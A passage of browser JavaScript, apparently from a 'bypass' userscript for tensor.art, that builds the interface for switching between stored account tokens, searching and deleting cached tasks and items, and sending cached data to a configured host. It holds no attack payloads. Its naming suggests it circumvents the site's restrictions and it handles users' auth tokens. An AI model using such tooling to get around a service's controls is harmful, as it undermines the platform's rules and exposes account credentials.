            <div style="font-size: 10px; color: #64748b; font-family: 'Courier New', monospace; word-break: break-all; opacity: 0.7;">Token: ${escapeHtml(account.token.substring(0, 30))}...</div>
          `;

          const actions = document.createElement('div');
          actions.style.cssText = 'display: flex; flex-direction: column; gap: 6px; flex-shrink: 0;';

          const viewBtn = document.createElement('button');
          viewBtn.className = 'bypass-btn ' + (isActive ? 'bypass-btn-secondary' : 'bypass-btn-primary');
          viewBtn.style.cssText = 'padding: 8px 16px; font-size: 11px; font-weight: 600;';
          viewBtn.textContent = isActive ? 'Viewing' : 'View';
          viewBtn.disabled = isActive;
          viewBtn.onclick = (e) => {
            e.stopPropagation();
            if (!isActive) {
              // Clear all and set only this account as active
              setActiveTokens([account.token]);
              currentPreviewUserToken = account.token;
              localStorage.setItem('freeBypassPreviewToken', account.token);
              currentTab = 'home';
              updateUI();
            }
          };

          const moreBtn = document.createElement('button');
          moreBtn.className = 'bypass-btn bypass-btn-secondary';
          moreBtn.style.cssText = 'padding: 8px 12px; font-size: 11px;';
          moreBtn.innerHTML = '<i class="fas fa-ellipsis-v"></i>';
          moreBtn.title = 'More options';
          moreBtn.onclick = (e) => {
            e.stopPropagation();
            showAccountContextMenu(e, account);
          };

          actions.appendChild(viewBtn);
          actions.appendChild(moreBtn);

          card.appendChild(checkbox);
          card.appendChild(avatar);
          card.appendChild(info);
          card.appendChild(actions);

          card.onclick = () => {
            checkbox.checked = !checkbox.checked;
            checkbox.onclick({ stopPropagation: () => {} });
          };

          accountsContent.appendChild(card);
        });
      }

      content.appendChild(accountsContent);
    } else if (currentTab === 'dataControl') {
      const dataControlContent = document.createElement('div');
      dataControlContent.style.cssText = 'display:flex; flex-direction:column; gap:12px; height:100%; overflow-y:auto;';

      const stats = getCacheStatistics();

      // Stats header
      const statsHeader = document.createElement('div');
      statsHeader.style.cssText = 'display:grid; grid-template-columns:repeat(4, minmax(0, 1fr)); gap:8px; padding:12px; background:linear-gradient(135deg, rgba(99,102,241,0.15), rgba(14,165,233,0.08)); border:1px solid rgba(99,102,241,0.25); border-radius:10px;';
      statsHeader.innerHTML = `
        <div style="text-align:center; padding:10px; border-radius:8px; background:rgba(15,23,42,0.55); border:1px solid rgba(148,163,184,0.18);">
          <div style="font-size:10px;color:#94a3b8;margin-bottom:6px;"><i class="fas fa-tasks" style="margin-right:6px;color:#6366f1;"></i>Total Tasks</div>
          <div style="font-size:18px;font-weight:800;color:#e2e8f0;">${stats.totalTasks}</div>
        </div>
        <div style="text-align:center; padding:10px; border-radius:8px; background:rgba(15,23,42,0.55); border:1px solid rgba(148,163,184,0.18);">
          <div style="font-size:10px;color:#94a3b8;margin-bottom:6px;"><i class="fas fa-layer-group" style="margin-right:6px;color:#6366f1;"></i>Total Items</div>
          <div style="font-size:18px;font-weight:800;color:#e2e8f0;">${stats.totalItems}</div>
        </div>
        <div style="text-align:center; padding:10px; border-radius:8px; background:rgba(15,23,42,0.55); border:1px solid rgba(148,163,184,0.18);">
          <div style="font-size:10px;color:#94a3b8;margin-bottom:6px;"><i class="fas fa-image" style="margin-right:6px;color:#10b981;"></i>Images</div>
          <div style="font-size:16px;font-weight:800;color:#10b981;">${stats.byType.images}</div>
        </div>
        <div style="text-align:center; padding:10px; border-radius:8px; background:rgba(15,23,42,0.55); border:1px solid rgba(148,163,184,0.18);">
          <div style="font-size:10px;color:#94a3b8;margin-bottom:6px;"><i class="fas fa-video" style="margin-right:6px;color:#ef4444;"></i>Videos</div>
          <div style="font-size:16px;font-weight:800;color:#ef4444;">${stats.byType.videos}</div>
        </div>
      `;
      dataControlContent.appendChild(statsHeader);

      // ============================================================================
      // SEARCH SECTION
      // ============================================================================
      const searchContainer = document.createElement('div');
      searchContainer.style.cssText = 'display:flex; flex-direction:column; gap:8px; padding:10px; background:rgba(51,65,85,0.28); border:1px solid rgba(148,163,184,0.18); border-radius:10px;';

      const searchHeaderRow = document.createElement('div');
      searchHeaderRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px;';
      searchHeaderRow.innerHTML = '<div style="font-size:12px; font-weight:700; color:#cbd5e1;"><i class="fas fa-search" style="margin-right:8px; color:#6366f1;"></i>Search & Browse</div>';

      const typeToggleWrap = document.createElement('div');
      typeToggleWrap.style.cssText = 'display:flex; gap:6px; flex-wrap:wrap; align-items:center; justify-content:flex-end;';
      searchHeaderRow.appendChild(typeToggleWrap);
      searchContainer.appendChild(searchHeaderRow);

      const showTypes = { task: true, item: true };
      function createMiniToggle(label, key) {
        const btn = document.createElement('button');
        btn.className = 'bypass-btn bypass-btn-secondary';
        btn.style.cssText = 'width:auto; flex:0 0 auto; padding:4px 10px; font-size:10px; border-radius:999px; line-height:1.2; text-transform:none; letter-spacing:0;';
        const render = () => {
          btn.style.opacity = showTypes[key] ? '1' : '0.55';
          btn.style.borderColor = showTypes[key] ? '#6366f1' : '#475569';
          btn.innerHTML = `<i class="fas ${key === 'task' ? 'fa-tasks' : 'fa-layer-group'}" style="margin-right:6px;"></i>${label}`;
        };
        btn.onclick = (e) => {
          e.stopPropagation();
          showTypes[key] = !showTypes[key];
          if (!showTypes.task && !showTypes.item) showTypes[key] = true;
          render();
          scheduleSearch();
        };
        render();
        return btn;
      }
      typeToggleWrap.appendChild(createMiniToggle('Tasks', 'task'));
      typeToggleWrap.appendChild(createMiniToggle('Items', 'item'));

      const searchInputRow = document.createElement('div');
      searchInputRow.style.cssText = 'display:flex; gap:8px; align-items:center;';

      const searchInput = document.createElement('input');
      searchInput.type = 'text';
      searchInput.placeholder = 'Search tasks or items (ID, name, date, tool...)';
      searchInput.style.cssText = `
        width:100%;
        flex:1;
        padding:8px;
        border:1px solid #475569;
        border-radius:6px;
        background:#1e293b;
        color:#f1f5f9;
        font-size:12px;
        outline:none;
      `;
      searchInput.onclick = (e) => e.stopPropagation();
      searchInputRow.appendChild(searchInput);

      const clearSearchBtn = document.createElement('button');
      clearSearchBtn.className = 'bypass-btn bypass-btn-secondary';
      clearSearchBtn.style.cssText = 'width:38px; min-width:38px; flex:0 0 38px; padding:8px 0; font-size:11px; border-radius:10px;';
      clearSearchBtn.title = 'Clear search';
      clearSearchBtn.innerHTML = '<i class="fas fa-times"></i>';
      clearSearchBtn.disabled = true;
      clearSearchBtn.style.opacity = '0.7';
      clearSearchBtn.onclick = (e) => {
        e.stopPropagation();
        searchInput.value = '';
        clearSearchBtn.disabled = true;
        clearSearchBtn.style.opacity = '0.7';
        searchInput.focus();
        performSearch();
      };
      searchInputRow.appendChild(clearSearchBtn);

      searchContainer.appendChild(searchInputRow);

      const searchFilters = document.createElement('div');
      searchFilters.style.cssText = 'display:flex; gap:6px; flex-wrap:wrap;';

      const filterTypes = [
        { id: 'taskId', label: 'Task ID', icon: 'fa-tag' },
        { id: 'toolName', label: 'Tool Name', icon: 'fa-wrench' },
        { id: 'expireDate', label: 'Expiry', icon: 'fa-calendar' },
        { id: 'itemType', label: 'Type', icon: 'fa-image' },
        { id: 'source', label: 'Source', icon: 'fa-link' },
        { id: 'all', label: 'All Fields', icon: 'fa-search' }
      ];

      const selectedFilters = new Set(['all']);

      function updateFilterBtnStyles() {
        filterTypes.forEach(f => {
          const b = searchFilters.querySelector(`button[data-filter="${f.id}"]`);
          if (!b) return;
          const active = selectedFilters.has('all') ? f.id === 'all' : selectedFilters.has(f.id);
          b.style.background = active ? 'rgba(99,102,241,0.4)' : 'rgba(99,102,241,0.15)';
          b.style.borderColor = active ? '#6366f1' : '#475569';
          b.style.color = active ? '#e2e8f0' : '#cbd5e1';
        });
      }

      filterTypes.forEach(filter => {
        const btn = document.createElement('button');
        btn.style.cssText = `
          flex:0 0 auto;
          padding:4px 10px;
          background:${filter.id === 'all' ? 'rgba(99,102,241,0.4)' : 'rgba(99,102,241,0.15)'};
          border:1px solid ${filter.id === 'all' ? '#6366f1' : '#475569'};
          border-radius:16px;
          color:#cbd5e1;
          font-size:11px;
          cursor:pointer;
          transition:all 0.2s;
        `;
        btn.innerHTML = `<i class="fas ${filter.icon}"></i> ${filter.label}`;
        btn.onclick = () => {
          if (filter.id === 'all') {
            selectedFilters.clear();
            selectedFilters.add('all');
          } else {
            selectedFilters.delete('all');
            if (selectedFilters.has(filter.id)) {
              selectedFilters.delete(filter.id);
            } else {
              selectedFilters.add(filter.id);
            }
            if (selectedFilters.size === 0) {
              selectedFilters.add('all');
            }
          }
          updateFilterBtnStyles();
          performSearch();
        };
        btn.setAttribute('data-filter', filter.id);
        searchFilters.appendChild(btn);
      });
      updateFilterBtnStyles();
      searchContainer.appendChild(searchFilters);
      dataControlContent.appendChild(searchContainer);

      // ============================================================================
      // SEARCH RESULTS SECTION
      // ============================================================================
      const resultsContainer = document.createElement('div');
      resultsContainer.id = 'search-results';
      resultsContainer.style.cssText = 'flex:1; overflow-y:auto; display:flex; flex-direction:column; gap:8px;';

      // Hide search box on scroll-down, show on scroll-up (gives more space to results)
      searchContainer.style.transition = 'max-height 0.22s ease, opacity 0.18s ease, transform 0.22s ease, margin 0.22s ease, padding 0.22s ease, border-width 0.22s ease';
      searchContainer.style.willChange = 'max-height, opacity, transform';
      searchContainer.style.overflow = 'hidden';
      let searchExpandedHeight = 0;
      let searchCollapsed = false;
      const rememberSearchHeight = () => {
        try {
          // Ensure we measure while expanded
          const prev = searchContainer.style.maxHeight;
          searchContainer.style.maxHeight = 'none';
          searchExpandedHeight = Math.max(1, searchContainer.scrollHeight);
          searchContainer.style.maxHeight = prev || '';
        } catch {
          searchExpandedHeight = 0;
        }
      };
      rememberSearchHeight();

      const setSearchCollapsed = (collapsed) => {
        if (collapsed === searchCollapsed) return;
        searchCollapsed = collapsed;
        if (collapsed) {
          searchContainer.style.maxHeight = '0px';
          searchContainer.style.opacity = '0';
          searchContainer.style.transform = 'translateY(-10px)';
          searchContainer.style.paddingTop = '0px';
          searchContainer.style.paddingBottom = '0px';
          searchContainer.style.borderWidth = '0px';
          searchContainer.style.marginBottom = '0px';
          searchContainer.style.pointerEvents = 'none';
        } else {
          rememberSearchHeight();
          searchContainer.style.maxHeight = (searchExpandedHeight ? searchExpandedHeight + 'px' : '999px');
          searchContainer.style.opacity = '1';
          searchContainer.style.transform = 'translateY(0px)';
          searchContainer.style.paddingTop = '10px';
          searchContainer.style.paddingBottom = '10px';
          searchContainer.style.borderWidth = '1px';
          searchContainer.style.marginBottom = '';
          searchContainer.style.pointerEvents = 'auto';
        }
      };

      // Keep it expanded initially
      searchContainer.style.maxHeight = '999px';

      let lastResultsScrollTop = 0;
      resultsContainer.addEventListener('scroll', () => {
        const st = resultsContainer.scrollTop;
        const delta = st - lastResultsScrollTop;
        lastResultsScrollTop = st;
        if (st < 16) {
          setSearchCollapsed(false);
          return;
        }
        if (delta > 6) {
          setSearchCollapsed(true);
        } else if (delta < -6) {
          setSearchCollapsed(false);
        }
      }, { passive: true });

      // Build searchable data once per render (Data Control rerenders on updateUI())
      const searchData = [];
      taskMap.forEach((task, taskId) => {
        const toolName = task?.workflowTemplateInfo?.name || task?.workflowInfo?.name || 'Unknown Tool';
        const created = task?.createdAt ? new Date(parseInt(task.createdAt) * 1000).toLocaleDateString() : 'N/A';
        const expires = task?.expireAt ? new Date(parseInt(task.expireAt) * 1000).toLocaleDateString() : 'N/A';
        const source = task?.source || 'tensor.art';
        searchData.push({
          type: 'task',
          id: taskId,
          taskId: taskId,
          toolName: toolName,
          createdDate: created,
          expiryDate: expires,
          source: source,
          fullText: `${taskId} ${toolName} ${created} ${expires} ${source}`.toLowerCase(),
          data: task
        });
      });
      itemsData.forEach(item => {
        const itemType = item.type || (item.mimeType?.includes('video') ? 'Video' : 'Image');
        const source = item?.source || 'tensor.art';
        const expiryDate = item?.expireAt ? new Date(parseInt(item.expireAt) * 1000).toLocaleDateString() : 'N/A';
        searchData.push({
          type: 'item',
          id: item.id,
          taskId: item.taskId,
          itemType: itemType,
          expiryDate: expiryDate,
          source: source,
          fullText: `${item.id} ${item.taskId || ''} ${itemType} ${expiryDate} ${source}`.toLowerCase(),
          data: item
        });
      });

      function copyTextToClipboard(text) {
        try {
          if (navigator.clipboard?.writeText) {
            return navigator.clipboard.writeText(text);
          }
          const ta = document.createElement('textarea');
          ta.value = text;
          document.body.appendChild(ta);
          ta.select();
          document.execCommand('copy');
          ta.remove();
          return Promise.resolve();
        } catch (e) {
          return Promise.reject(e);
        }
      }

      let searchDebounceTimer = null;
      function scheduleSearch() {
        if (searchDebounceTimer) clearTimeout(searchDebounceTimer);
        searchDebounceTimer = setTimeout(() => performSearch(), 80);
      }

      function performSearch() {
        const query = searchInput.value.toLowerCase().trim();
        resultsContainer.innerHTML = '';

        clearSearchBtn.disabled = !query;
        clearSearchBtn.style.opacity = query ? '1' : '0.7';

        // Perform search
        let results = searchData;
        if (query) {
          if (selectedFilters.has('all')) {
            // Search all fields
            results = searchData.filter(r => r.fullText.includes(query));
          } else {
            // Search only selected filters
            results = searchData.filter(r => {
              if (selectedFilters.has('taskId') && r.taskId?.toLowerCase().includes(query)) return true;
              if (selectedFilters.has('toolName') && r.toolName?.toLowerCase().includes(query)) return true;
              if (selectedFilters.has('expireDate') && r.expiryDate?.includes(query)) return true;
              if (selectedFilters.has('itemType') && r.itemType?.toLowerCase().includes(query)) return true;
              if (selectedFilters.has('source') && r.source?.toLowerCase().includes(query)) return true;
              return false;
            });
          }
        }

        // Apply type toggles
        results = results.filter(r => (r.type === 'task' ? showTypes.task : showTypes.item));

        // Display results
        if (results.length === 0) {
          resultsContainer.innerHTML = `<div style="text-align:center; padding:20px; color:#94a3b8; font-size:12px;">${query ? 'No results found' : 'Enter search query or browse all'}</div>`;
          return;
        }

        const MAX_RESULTS = query ? 250 : 120;
        const limitedResults = results.length > MAX_RESULTS ? results.slice(0, MAX_RESULTS) : results;

        const resultsSummary = document.createElement('div');
        resultsSummary.style.cssText = 'font-size:11px; color:#94a3b8; padding:8px 0; display:flex; align-items:center; justify-content:space-between; gap:10px;';
        resultsSummary.innerHTML = `<span>Found <strong style="color:#e2e8f0;">${results.length}</strong> result${results.length !== 1 ? 's' : ''}${results.length > MAX_RESULTS ? ` (showing first ${MAX_RESULTS})` : ''}</span><span style="opacity:0.85;">Tip: right-click a row for actions.</span>`;
        resultsContainer.appendChild(resultsSummary);

        limitedResults.forEach(result => {
          const row = document.createElement('div');
          row.style.cssText = `
            padding:8px;
            background:rgba(15,23,42,0.5);
            border:1px solid #475569;
            border-radius:6px;
            font-size:11px;
            display:flex;
            flex-direction:column;
            gap:4px;
            cursor:pointer;
            transition:all 0.3s;
          `;
          row.onmouseover = () => {
            row.style.background = 'rgba(99,102,241,0.16)';
            row.style.borderColor = 'rgba(99,102,241,0.55)';
          };
          row.onmouseout = () => {
            row.style.background = 'rgba(15,23,42,0.5)';
            row.style.borderColor = '#475569';
          };
          row.onclick = () => showTaskPreviewDialog(result);
          row.addEventListener('contextmenu', (e) => {
            e.preventDefault();
            showDataControlContextMenu(e.clientX, e.clientY, result);
          });

          const topRow = document.createElement('div');
          topRow.style.cssText = 'display:flex; align-items:flex-start; justify-content:space-between; gap:10px;';
          row.appendChild(topRow);

          const left = document.createElement('div');
          left.style.cssText = 'flex:1; min-width:0;';
          topRow.appendChild(left);

          const actions = document.createElement('div');
          actions.style.cssText = 'display:flex; gap:6px; align-items:center; flex-shrink:0;';
          topRow.appendChild(actions);

          const copyBtn = document.createElement('button');
          copyBtn.className = 'bypass-btn bypass-btn-secondary';
          copyBtn.style.cssText = 'width:34px; min-width:34px; flex:0 0 34px; padding:6px 0; font-size:10px; border-radius:10px;';
          copyBtn.title = 'Copy ID to clipboard';
          copyBtn.innerHTML = '<i class="fas fa-copy"></i>';
          copyBtn.onclick = async (e) => {
            e.stopPropagation();
            const idToCopy = result.type === 'task' ? result.taskId : result.id;
            try {
              await copyTextToClipboard(idToCopy);
              showNotification('success', 'Copied ID to clipboard');
            } catch (err) {
              console.error('Copy failed', err);
              showNotification('error', 'Failed to copy');
            }
          };
          actions.appendChild(copyBtn);

          const chevron = document.createElement('div');
          chevron.style.cssText = 'color:#6366f1; opacity:0.9; padding-top:2px;';
          chevron.innerHTML = '<i class="fas fa-chevron-right"></i>';
          actions.appendChild(chevron);

          if (result.type === 'task') {
            const taskStatus = result.data?.status || result.data?.state || '';
            const statusBadge = taskStatus
              ? `<span style="display:inline-block; margin-left:8px; padding:2px 8px; border-radius:999px; font-size:10px; background:rgba(99,102,241,0.18); border:1px solid rgba(99,102,241,0.35); color:#c7d2fe;">${escapeHtml(String(taskStatus))}</span>`
              : '';
            left.innerHTML = `
              <div title="${escapeHtml(result.taskId)}" style="color:#6366f1; font-weight:800; word-break:break-all;">${escapeHtml(result.taskId.substring(0, 36))}${result.taskId.length > 36 ? '…' : ''}${statusBadge}</div>
              <div style="color:#cbd5e1; margin-top:4px;"><strong>Tool:</strong> ${escapeHtml(result.toolName)}</div>
              <div style="color:#94a3b8; margin-top:2px; font-size:10px;"><strong>Created:</strong> ${escapeHtml(result.createdDate)} | <strong>Expires:</strong> ${escapeHtml(result.expiryDate)}</div>
              <div style="color:#a78bfa; margin-top:2px; font-size:10px;"><i class="fas fa-link"></i> ${escapeHtml(result.source)}</div>
            `;
          } else {
            const isHidden = cacheDeletions.hidden.includes(result.id);
            const isNoRegain = cacheDeletions.noRegain.includes(result.id);
            const status = isNoRegain
              ? '<i class="fas fa-lock"></i> No-Regain'
              : isHidden
                ? '<i class="fas fa-eye-slash"></i> Hidden'
                : '<i class="fas fa-check-circle"></i> Active';
            const statusColor = isNoRegain ? '#ef4444' : isHidden ? '#f59e0b' : '#10b981';
            left.innerHTML = `
              <div title="${escapeHtml(result.id)}" style="color:#6366f1; font-weight:800; word-break:break-all;">${escapeHtml(result.id.substring(0, 36))}${result.id.length > 36 ? '…' : ''}</div>
              <div style="color:#cbd5e1; margin-top:4px;"><strong>Task:</strong> ${escapeHtml((result.taskId || 'N/A').substring(0, 24))}${(result.taskId || '').length > 24 ? '…' : ''} | <strong>Type:</strong> ${escapeHtml(result.itemType)}</div>
              <div style="color:#94a3b8; margin-top:2px; font-size:10px;"><strong>Expires:</strong> ${escapeHtml(result.expiryDate)}</div>
              <div style="color:${statusColor}; margin-top:2px; font-size:10px; font-weight:700;">${status}</div>
            `;
          }

          resultsContainer.appendChild(row);
        });
      }

      // Perform initial search on load
      searchInput.oninput = scheduleSearch;
      searchInput.onkeyup = scheduleSearch;
      performSearch();

      dataControlContent.appendChild(resultsContainer);

      // Cache control buttons
      const controlBtns = document.createElement('div');
      controlBtns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:auto; padding-top:8px;';

      const deletionRulesBtn = document.createElement('button');
      deletionRulesBtn.className = 'bypass-btn bypass-btn-secondary';
      deletionRulesBtn.style.cssText = 'flex:1; min-width:130px; font-size:11px; padding:8px; border-color:rgba(99,102,241,0.5);';
      deletionRulesBtn.innerHTML = '<i class="fas fa-shield-alt" style="margin-right:5px;color:#6366f1;"></i> Deletion Rules';
      deletionRulesBtn.onclick = () => showDeletionRulesDialog();
      controlBtns.appendChild(deletionRulesBtn);

      const clearAllBtn = document.createElement('button');
      clearAllBtn.className = 'bypass-btn bypass-btn-danger';
      clearAllBtn.style.cssText = 'flex:1; min-width:100px; font-size:11px; padding:8px;';
      clearAllBtn.innerHTML = '<i class="fas fa-trash"></i> Clear All';
      clearAllBtn.onclick = () => {
        showCacheClearDialog();
      };
      controlBtns.appendChild(clearAllBtn);

      const resetAllBtn = document.createElement('button');
      resetAllBtn.className = 'bypass-btn bypass-btn-danger';
      resetAllBtn.style.cssText = 'flex:1; min-width:150px; font-size:11px; padding:8px; background:linear-gradient(135deg, #7f1d1d, #991b1b);';
      resetAllBtn.innerHTML = '<i class="fas fa-bomb"></i> Reset & Delete All Data';
      resetAllBtn.onclick = () => {
        showResetAllDataDialog();
      };
      controlBtns.appendChild(resetAllBtn);

      const exportBtn = document.createElement('button');
      exportBtn.className = 'bypass-btn bypass-btn-primary';
      exportBtn.style.cssText = 'flex:1; min-width:100px; font-size:11px; padding:8px;';
      exportBtn.innerHTML = '<i class="fas fa-download"></i> Export';
      exportBtn.onclick = () => {
        showExportDialog();
      };
      controlBtns.appendChild(exportBtn);

      const refreshBtn = document.createElement('button');
      refreshBtn.className = 'bypass-btn bypass-btn-secondary';
      refreshBtn.style.cssText = 'flex:1; min-width:100px; font-size:11px; padding:8px;';
      refreshBtn.innerHTML = '<i class="fas fa-sync"></i> Refresh';
      refreshBtn.onclick = () => {
        updateUI();
      };
      controlBtns.appendChild(refreshBtn);
      dataControlContent.appendChild(controlBtns);

      // Hidden items section
      if (cacheDeletions.hidden.length > 0) {
        const hiddenSection = createCollapsibleSection('Hidden Items', 'fa-eye-slash', false);
        hiddenSection.content.innerHTML = `<div style="font-size:12px;font-weight:700;color:#cbd5e1;margin-bottom:8px;">Hidden Items (${cacheDeletions.hidden.length})</div>`;

        const hiddenList = document.createElement('div');
        hiddenList.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:10px;';
        cacheDeletions.hidden.forEach(itemId => {
          const row = document.createElement('div');
          row.style.cssText = 'display:flex; justify-content:space-between; align-items:center; padding:6px; background:rgba(15,23,42,0.6); border-radius:4px;';
          row.innerHTML = `<span style="color:#94a3b8; word-break:break-all;">${itemId.substring(0, 20)}...</span>`;

          const restoreBtn = document.createElement('button');
          restoreBtn.style.cssText = 'background:transparent; border:none; color:#6366f1; cursor:pointer; font-size:11px; padding:2px 6px;';
          restoreBtn.textContent = 'Restore';
          restoreBtn.onclick = () => {
            removeItemHidden(itemId);
            updateUI();
          };
          row.appendChild(restoreBtn);
          hiddenList.appendChild(row);
        });
        hiddenSection.content.appendChild(hiddenList);
        dataControlContent.appendChild(hiddenSection.section);
      }

      // No-regain items section
      if (cacheDeletions.noRegain.length > 0) {
        const noRegainSection = createCollapsibleSection('Permanently Deleted Items', 'fa-lock', false);
        noRegainSection.content.innerHTML = `<div style="font-size:12px;font-weight:800;color:#ef4444;margin-bottom:8px;">Permanently Deleted Items (${cacheDeletions.noRegain.length})</div>`;

        const noRegainList = document.createElement('div');
        noRegainList.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:10px;';
        cacheDeletions.noRegain.forEach(itemId => {
          const row = document.createElement('div');
          row.style.cssText = 'display:flex; justify-content:space-between; align-items:center; padding:6px; background:rgba(15,23,42,0.6); border-radius:4px;';
          row.innerHTML = `<span style="color:#ef4444; word-break:break-all;"><i class="fas fa-times-circle"></i> ${itemId.substring(0, 20)}...</span>`;

          const allowBtn = document.createElement('button');
          allowBtn.style.cssText = 'background:transparent; border:none; color:#10b981; cursor:pointer; font-size:11px; padding:2px 6px;';
          allowBtn.textContent = 'Recover';
          allowBtn.title = 'Allow this item to be re-cached if it appears again';
          allowBtn.onclick = () => {
            removeItemNoRegain(itemId);
            updateUI();
          };
          row.appendChild(allowBtn);
          noRegainList.appendChild(row);
        });
        noRegainSection.content.appendChild(noRegainList);
        dataControlContent.appendChild(noRegainSection.section);
      }

      content.appendChild(dataControlContent);
    } else if (currentTab === 'sharedNetwork') {
      const colors = getThemeColors();
      const wrap = document.createElement('div');
      wrap.style.cssText = 'display:flex; flex-direction:column; gap:12px;';
      wrap.setAttribute('data-bypass-sharednet-root', 'true');

      const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
      const isLocal = base ? sharedNetIsLocalhostUrl(base) : false;

      const top = document.createElement('div');
      top.style.cssText = `
        border: 1px solid ${colors.border};
        border-radius: 12px;
        padding: 12px;
        background: ${colors.bgSecondary};
        display: grid;
        gap: 10px;
      `;

      const title = document.createElement('div');
      title.style.cssText = `display:flex; align-items:center; justify-content:space-between; gap:10px;`;
      title.innerHTML = `
        <div style="display:flex; flex-direction:column; gap:4px; min-width:0;">
          <div style="font-size:13px; font-weight:800; color:${colors.text};">
            <i class="fas fa-network-wired" style="color:${colors.primary}; margin-right:8px;"></i>
            Shared Network Save
          </div>
          <div style="font-size:11px; color:${colors.textSecondary};">Send cached tasks/items to a trusted host via HTTP or WebSocket.</div>
        </div>
      `;

      const infoBtn = document.createElement('button');
      infoBtn.className = 'bypass-btn bypass-btn-secondary';
      infoBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      infoBtn.innerHTML = '<i class="fas fa-circle-info"></i> More info';
      infoBtn.onclick = () => {
        showSharedNetworkInfoDialog();
      };
      const docsBtn = document.createElement('button');
      docsBtn.className = 'bypass-btn bypass-btn-primary';
      docsBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      docsBtn.innerHTML = '<i class="fas fa-book"></i> Docs';
      docsBtn.onclick = () => {
        showSharedNetworkDocsDialog();
      };

      const titleBtns = document.createElement('div');
      titleBtns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; align-items:center;';
      titleBtns.appendChild(infoBtn);
      titleBtns.appendChild(docsBtn);
      title.appendChild(titleBtns);
      top.appendChild(title);

      const cfg = document.createElement('div');
      cfg.style.cssText = `display:grid; gap:6px; font-size:12px; color:${colors.textSecondary};`;
      cfg.setAttribute('data-bypass-sharednet-cfg', 'true');
      cfg.innerHTML = `
        <div><strong style="color:${colors.text};">Host:</strong> <span style="font-family:monospace;">${escapeHtml(settings.sharedNetworkHost || '')}</span></div>
        <div><strong style="color:${colors.text};">Method:</strong> ${escapeHtml((settings.sharedNetworkMethod || 'http').toUpperCase())} • <strong style="color:${colors.text};">Payload:</strong> ${escapeHtml(settings.sharedNetworkPayloadMode || 'file')}</div>
        <div><strong style="color:${colors.text};">Localhost:</strong> <span style="color:${isLocal ? colors.success : colors.warning}; font-weight:700;">${isLocal ? 'YES (safer)' : 'NO (be careful)'}</span></div>
      `;
      top.appendChild(cfg);

      if (settings.sharedNetworkHost && !isLocal) {
        const warn = document.createElement('div');
        warn.setAttribute('data-bypass-sharednet-warn', 'true');
        warn.style.cssText = `
          margin-top: 4px;
          padding: 10px;
          border-radius: 10px;
          border: 1px solid rgba(239,68,68,0.35);
          background: rgba(239,68,68,0.10);
          color: ${colors.text};
          font-size: 12px;
          line-height: 1.45;
        `;
        warn.innerHTML = '<strong style="color:#fecaca;"><i class="fas fa-triangle-exclamation"></i> Non-localhost host</strong><br>Only send to servers you fully control. Shared exports can include sensitive data.';
        top.appendChild(warn);
      }

      const status = document.createElement('div');
      status.style.cssText = `
        display:flex;
        gap:10px;
        flex-wrap:wrap;
        align-items:center;
        justify-content:space-between;
        padding-top: 6px;
        border-top: 1px dashed ${colors.border};
      `;

      const statusLeft = document.createElement('div');
      statusLeft.style.cssText = `display:grid; gap:4px; font-size:11px; color:${colors.textSecondary};`;
      statusLeft.setAttribute('data-bypass-sharednet-status-left', 'true');
      const httpStatusText = sharedNetworkHttpStatus.checkedAt
        ? `${sharedNetworkHttpStatus.ok ? 'OK' : 'FAIL'}${sharedNetworkHttpStatus.status ? ` (${sharedNetworkHttpStatus.status})` : ''} • ${new Date(sharedNetworkHttpStatus.checkedAt).toLocaleTimeString()}`
        : 'Not checked yet';
      const wsStatusText = sharedNetworkWsState.status || 'disconnected';
      statusLeft.innerHTML = `
        <div><strong style="color:${colors.text};">HTTP health:</strong> ${escapeHtml(httpStatusText)}${sharedNetworkHttpStatus.error ? ` • ${escapeHtml(String(sharedNetworkHttpStatus.error).slice(0, 120))}` : ''}</div>
        <div><strong style="color:${colors.text};">WS:</strong> ${escapeHtml(wsStatusText)}${sharedNetworkWsState.url ? ` • <span style="font-family:monospace;">${escapeHtml(sharedNetworkWsState.url)}</span>` : ''}</div>
      `;

      const statusRight = document.createElement('div');
      statusRight.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; align-items:center;';

      const mkBtn = (cls, html, onClick) => {
        const b = document.createElement('button');
        b.className = cls;
        b.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
        b.innerHTML = html;
        b.onclick = onClick;
        return b;
      };

      statusRight.appendChild(mkBtn('bypass-btn bypass-btn-secondary', '<i class="fas fa-heart-pulse"></i> Check server', async () => {
        await sharedNetCheckServerHealth();
        sharedNetScheduleTabRefresh();
      }));

      if (settings.sharedNetworkMethod === 'ws') {
        statusRight.appendChild(mkBtn('bypass-btn bypass-btn-secondary', '<i class="fas fa-plug"></i> Connect WS', async () => {
          try {
            await sharedNetWsEnsureConnected();
            sharedNetScheduleTabRefresh();
          } catch (e) {
            showToast(`WS connect failed: ${e?.message || e}`, 'error');
          }
        }));
        statusRight.appendChild(mkBtn('bypass-btn bypass-btn-danger', '<i class="fas fa-ban"></i> Disconnect', () => {
          sharedNetWsDisconnect('manual');
          sharedNetScheduleTabRefresh();
        }));
      }

      statusRight.appendChild(mkBtn('bypass-btn bypass-btn-primary', '<i class="fas fa-paper-plane"></i> Send cached tasks', async () => {
        await sharedNetSendCachedTasksNow();
        sharedNetScheduleTabRefresh();
      }));

      status.appendChild(statusLeft);
      status.appendChild(statusRight);
      top.appendChild(status);

      wrap.appendChild(top);

      // Progress bar (hidden by default)
      const progress = document.createElement('div');
      progress.setAttribute('data-bypass-sharednet-progress', 'true');
      progress.style.cssText = `
        border: 1px solid ${colors.border};
        border-radius: 12px;
        padding: 10px 12px;
        background: ${colors.bgSecondary};
        display: ${sharedNetworkProgress.visible ? 'grid' : 'none'};
        gap: 8px;
      `;
      const pct = sharedNetworkProgress.total > 0
        ? Math.max(0, Math.min(100, Math.round((sharedNetworkProgress.current / sharedNetworkProgress.total) * 100)))
        : 0;
      progress.innerHTML = `
        <div style="display:flex; align-items:center; justify-content:space-between; gap:10px; font-size:11px; color:${colors.textSecondary};">
          <div style="min-width:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;">${escapeHtml(sharedNetworkProgress.label || 'Working…')}</div>
